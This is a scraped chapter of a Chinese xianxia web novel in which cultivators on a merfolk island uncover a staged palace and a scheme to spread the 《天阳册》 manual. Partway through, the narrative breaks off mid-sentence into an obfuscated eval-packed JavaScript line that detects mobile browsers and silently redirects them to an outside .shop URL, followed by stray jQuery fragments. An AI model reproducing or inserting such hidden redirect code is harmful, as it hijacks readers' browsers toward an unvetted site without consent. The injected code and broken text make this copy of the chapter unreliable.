文趣网 > 其他小说 > 花孔雀的心尖牛 > 93. 鲛人(三)
    祁云耀终究还是穿上了那件桃粉色薄纱外袍,搭配属实有些不伦不类,看着格外怪异,他却半点不在意,将啾啾啾蹦跳不止的谢重楼拖着放在头顶。

    入夜之后,沙滩上多数修士攒了足够的珍珠换到了帐篷,三两成群钻进去歇息。

    少数孤身之人珍珠只够换些吃食,无处落脚,好在鲛人在岛屿中央升起篝火,几人隔着一段距离围坐火堆旁,倒也不至于受寒生病。

    祁云耀抱着谢重楼,与尹千一同睡在帐篷外侧,阿玉和爱歇在内里。

    皓月升至正中,长空澄澈无云,岛上大半人都已沉沉睡去,四下一片死寂。

    空气中忽然漫开一丝清甜馥郁的气息,转瞬又消散无踪。

    就在这时,帐篷内侧传来细碎窸窣响动。

    祁云耀偷偷掀开眼缝望去,一道身影鬼鬼祟祟挪出来。阿玉佝偻着脊背,神色谨慎小心,轻手轻脚绕开在外熟睡的两人,掀帘走出帐篷。

    门帘落下的刹那,他猛地坐直身。正要起身跟上,却见胸口谢重楼无知无觉随着他的动作往下滚,睡得几乎昏死,对面的尹千亦是毫无知觉,深陷沉睡。

    心头骤然一紧,只掀起门帘一道细缝,牢牢锁住那远去的背影。

    阿玉步履笃定,目标清晰,径直朝着岛屿正中那堆篝火去。一路走过,沿途帐篷里熟睡之人尽数沉沉陷进更深的昏睡,毫无动静。

    “醒醒。”

    阿玉俯身蹲下,伸手推了推火堆旁衣衫破旧、蜷作一团的人影。

    见对方毫无苏醒迹象,她皱眉砸砸嘴,从怀中摸出一小瓶药剂,掰开那人下颌尽数灌入口中。

    片刻后,昏睡的男人缓缓睁眼,乍看阿玉沉冷面容被吓一哆嗦,但脸上却瞬间堆起惯有的谄媚怯懦,畏畏缩缩缩成一团。

    “哎哟,原来是您!吓我一大跳!您找我是有什么吩咐?”

    贼小七脸上僵笑十分勉强,身子下意识往后缩,破烂衣摆蹭到篝火烫得一痛,又慌忙往前挪了几分。

    “上次给你的册子,卖的怎么样?”

    “卖得很好!好多修士都抢着买!他们见我这样不起眼的喽啰都能靠它修行,全都买下了!”

    贼小七说着就要伸手去摸怀里钱袋佐证,似是忽然想起什么,动作却猛地顿住,脸上笑容猛地一滞。

    阿玉懒得理会他这上不得台面的小动作,径直掀开自己的储物袋,掏出十几本《天阳册》递到他面前。

    “找机会把这些也卖出去,分成下次再一起算,一定要全部都卖出去!不然——”阿玉冷眼淡淡扫了他一下,后半句威胁的话隐在嘴边没有说完。

    “我保证全部卖光,一本都不留!”

    贼小七连忙将册子全数收好,连声郑重许诺。

    阿玉转身准备折返,衣角忽然被一双沾着泥沙的脏手拽住。她眉峰一蹙,不悦回头,只见小贼脸上满是不安。

    “仙人,我想问一句,练了这功法之后,还能恢复原样吗?我是说,我的灵力会失效吗?”

    阿玉只当他是舍不得眼下得来的修行机缘,随口安抚:“当然不会。吸纳而来的灵气尽数归你,此功法灵力取自世间万灵,只要生灵尚存,你的修为便不会衰减。”

    她未曾留意,自己每多说一句,贼小七面色便愈发难看一分。

    阿玉只嫌他贪得无厌,极其厌烦地轻啧一声,扯回裙摆,快步往帐篷走去。

    途经外榻时,她斜睨一眼熟睡的两人,心底暗自腹诽:一个丢失记忆,整日与男妖拉拉扯扯;另一个来路不明,一看便心存叵测。

    她轻哼一声,放轻脚步掀帘走入内帐。

    “阿玉,你方才出去找那人了?”

    爱醒了,披着纱袍坐在被褥上,神色倦怠。

    “是。小姐被我吵醒了吗?”

    “不是,你去找你说的那个小贩,是要继续卖《天阳册》?”

    “没错,此处聚集这么多修士,正好把册子尽数散卖出去。”

    “这样啊……”

    爱侧头望向帐篷外,两道身影安安静静伏在原地,半晌沉默不语,直等到阿玉褪了外衣钻进被褥,她才忽然出声。

    “阿玉。”

    阿玉立刻转头看她,爱迟疑片刻,低声问道:“若是我和欲之间只能选一个,你会站谁那边?”

    阿玉身子猛地一僵,当即坐起身,伸手紧紧挽住她的胳膊:“小姐怎么突然说这种话。”

    “从前我一直协助欲行事,是因为他握着我的把柄,我才不得不与他合作。可倘若有一日我要抽身离开……”

    “那小姐一定要带上我!”阿玉急忙打断她。

    爱垂眼看向她,眼底翻涌着复杂难言的情绪。

    阿玉认真开口:“倘若非要在宗主与小姐之间抉择,我定然选小姐。小姐若是放心不下,我便不再修炼《天阳册》,等小姐帮我找更好的。”

    “我肯定帮你寻来最好的功法。”

    “嗯。”

    帐内细碎的动静渐渐平息。

    祁云耀的眼珠轻轻转了转,手心里的毛绒似乎动了动,才终于松口气缓缓合上双眼,将谢重楼搂得更紧。

    -

    翌日天刚破晓,祁云耀便醒了。

    朝阳初升,本不该燥热,奈何谢重楼体温滚烫,贴着胸口像揣了团炭火,他索性起身离帐。

    刚撑着身子坐起,两张素白信笺自衣襟飘落。拾起细看,两张纸上写着完全相同的短短一行情语。

    祁云耀转头看向身侧的尹千,对方胸口也压着一张同款笺纸,凑近比对,字迹内容分毫不差。

    恰在这时,沙滩外飘来空灵缥缈的歌谣,尹千骤然惊醒,猛地坐直,一眼瞥见落在胸前的信纸。帐篷内间响起一声惊呼,看来里面的人也收到了同样的笺纸。

    几人简单整理行装走出帐篷,只见滩上绝大多数修士都手持一模一样的素笺,神色茫然,齐刷刷望向歌声传来的方向。

    昨日篝火所在的滩心已然清扫一空,中央搭起一座小台,昨日见过的三名鲛人端坐其上。为首鲛人垂着眼浅声吟唱,左右两名鲛人指尖拨弄箜篌,乐声婉转。

    祁云耀下意识远眺另外两座孤岛,那边沙滩上也摆着相同石台,上演一模一样的光景。

    等他收回目光,台上为首的鲛人恰好抬眼望来,唇边噙着淡淡笑意,转而唱起轻快明朗的小调。

    一曲终了,一众修士纷纷围聚上前。鲛人唇角含笑,缓缓开口:“各位远道而来的客人,昨夜小主收下诸位献上的珍宝,心中很是欢喜,可迟迟等不到玉虚少宗主的回信,终日郁郁寡欢。”

    “诸位有所不知,玉虚少宗主实际频频往东海寄信,只是鲛人王不愿自家孩子与陆上修士纠缠,所有书信全被中途截下。我等受制于大王,无力相助,只能眼睁睁看着小主日日垂泪,束手无策。”

    “但诸位乃是玉虚仙宗修士,不受鲛人王管束,唯有你们能替少宗主,将书信送到小主手中。”

    为首鲛人抬手示意,两侧拨弄箜篌的鲛人停下乐声,三人一同从石台跃下,众人这才看清,方才落座之处原是一只巨大木箱。

    两名鲛人合力掀开箱盖,箱内整齐码放着数卷舆图,一旁还摆着精致小木盒。

    “箱中乃是我鲛人皇宫地图,劳烦诸位避开大王眼线与金卫追捕,代为递送少宗主的书信。事成之后,小主将拿出鲛国至宝作为酬谢赠予各位。”

    说罢,她双手捧起箱中小木盒,盒内盛着通体乌黑的丹丸。

    “此乃小主亲手炼制的避水丹,服下便可在水下自在呼吸,直至重回陆地为止。”

    一众修士驻足原地,满心疑虑,无人敢轻易上前。

    率先迈步的竟是爱。

    “小姐!”阿玉急忙伸手阻拦,爱却淡淡一笑,抬手示意没关系,捻起一枚丹丸入口,取走一卷舆图,缓步回到阿玉身侧。

    紧随其后的是祁云耀。

    其实方才他便打算上前,结合清晨人人收到的素笺、昨日岛上种种异象,他心中早已大致看穿这片东海幻境的底细,只是慢了一步。

    他拿起一颗药丸咽下,目光扫过盒中丹药,又环视一圈在场修士,清点好人数后对着鲛人开口:“能再拿一枚吗?”

    鲛人视线在他与头顶小鸟之间转了一圈,含笑颔首应允。

    祁云耀将丹药喂给谢重楼,再取一卷舆图铺开细看。

    通篇浏览完境内路线,心底残存的几分怀疑,至此彻底消失无踪。

    这幅舆图画得详尽至极,近乎将鲛国全盘托出:前往鲛国的海路、皇宫完整排布、金卫轮岗时辰、鲛王常出没的地点,全部标注得一清二楚。

    除此之外,图上还标记了多处闲置空屋,可供众人躲避巡查的金卫与鲛王。

    纸上还印着数个突兀又刻意的小木箱图案,格外显眼。

    拿到地图的修士当即

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653081|196908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    发问:“这些箱子代表什么?”

    鲛人笑意温和地作答:“里面藏着大王的秘密,我等也不知内里何物,诸位若是好奇,大可顺路前去一探。”

    话音刚落,已经服下避水丹、拿好舆图的修士纷纷冲向海岸线,毫不犹豫纵身入海,直奔鲛国皇宫而去。

    祁云耀望着那群人的背影,转头看向身侧还在争执路线的三人。

    阿玉兴致勃勃开口:“听我的!先去找地图标记的宝箱!里头说不定里头就藏着神器!”

    尹千眉头紧锁:“鲛人不是让我们去给那什么小主送信吗?怎么先去找宝物?”

    阿玉撇嘴:“我们本就是奔着至宝来的,哪有空管鲛人小主的儿女情长!”

    尹千沉吟,而后反问:“可万一真正的至宝在小主手中呢?”

    阿玉一时语塞,没立即接话。她皱皱鼻子,连忙看向爱:“小姐你说句话啊!你来决定先去哪!”

    蓦地,她忽然凑得极近,压低声音神色认真:“昨日我毫不犹豫就选了小姐!小姐肯定也是会毫不犹豫偏向我——对吧?”

    “你这话说的真儿戏!又不是过家家,哪什么偏向?”尹千忙不迭开口。

    爱夹在两人中间左右为难,余光恰好瞥见祁云耀回头,正要开口搭话,却见他顶着谢重楼,蹭蹭蹭几步轻跃纵身入海,毫不留恋地遁走以免被卷入纷争。

    大批修士争先恐后朝鲛国皇宫深处疾游,唯有他一人不紧不慢,在人群里显得格外突兀。

    吞服避水丹入水后,并非直接水下呼吸,二人周身自动笼上一层轻薄水幕护罩,隔开冰冷海水与其中威压,行动自如。

    这时谢重楼压低声音开口:“其实我觉得很奇怪!”

    它小爪子扒着展开的舆图,圆眼死死盯着图上细致到过分的标注,而后接着说:“这地图详细得太奇怪了!往日仙宗巡狩队外出,拿到的布防图都没这么详细,我从来没见过守备、路线、藏物点写得这么明白的地图,真的好奇怪!”

    说话间已游至皇宫西侧侧门,实际上,三座沙滩小岛正下方就是整片鲛国皇宫,整座宫殿被厚重结界护罩包裹。踏入结界范围的一瞬,体外避水护罩与之相融,祁云耀稳稳踏在海底地面,出声应和:“所以这里并不是鲛人幻境。”

    “可那些鲛人是真的啊!”

    “鲛人是真的,但幻境是假的。”

    祁云耀顶着他,抽出地图对照一看,金卫巡逻时间将至,迅速躲进一旁石柱后。不多时,海底地面剧烈震动,两队十数名鲛人金卫自长廊尽头行来,尾鳍泛着莹蓝流光,身覆鎏金护甲,手中长戟寒光凛冽。

    他们目不斜视稳步巡逻,恰在此时,几名修士莽撞闯入结界范围。金卫厉声大喝,持戟直冲过去,可行动迟缓得离谱,那几名修士连滚带爬逃出去十余丈,这群护卫才刚走出长廊半截。

    眼见目标逃脱,金卫整队重整队形,继续按原路线巡行。

    甚至都没等金卫彻底走过,只是间隔了十几米的距离祁云耀便直接毫无顾忌地带着谢重楼从石柱后走出,步履轻快,朝着反方向,径直往舆图标注的鲛人小主居所赶去。

    谢重楼回头望向金卫远去的方向,那群金卫最末几人实际是回头了的,也确实看见了祁云耀,只不过只看了一眼便转回了头,继续巡逻,他满心疑惑:“他们怎么不来追我们?这些鲛人修为并不弱,至少修为远高于方才逃跑的修士,怎么会追不上?”

    “我猜,因为这里根本不是鲛人皇宫,除了鲛人以及那些托盘子的螃蟹,其余皇宫还有三座小岛都是假的!”

    祁云耀继续解释:“鲛人应该是同天机阁达成了什么交易,联手造出来的这座海底宫殿,连同着海面孤岛。借‘东海幻境,神器现世’的消息,引来四方修士聚集,大约是在图谋什么。总之,鲛人现世是真的,不过鲛人幻境还有神器现世的传闻,大约都是些谣言幌子罢了。”

    “啊,是这样!”

    “不过这些都是猜测,眼下我对天机阁了解并不多,内情暂时没法完全断定,但这个推测应当八九不离十。”

    祁云耀再次寻了建筑阴影藏身,前方又一队鲛人金卫巡来。他们持长戟假意追击几名疏于观察、暴露行踪的修士,等众人惊慌四散逃窜后,便立刻停止那装模作样的追逐,继续沿着固定路线重复巡逻。

    “毕竟神器现世的消息怎么可能所有人都能知道?天盟地宗又不是傻子!”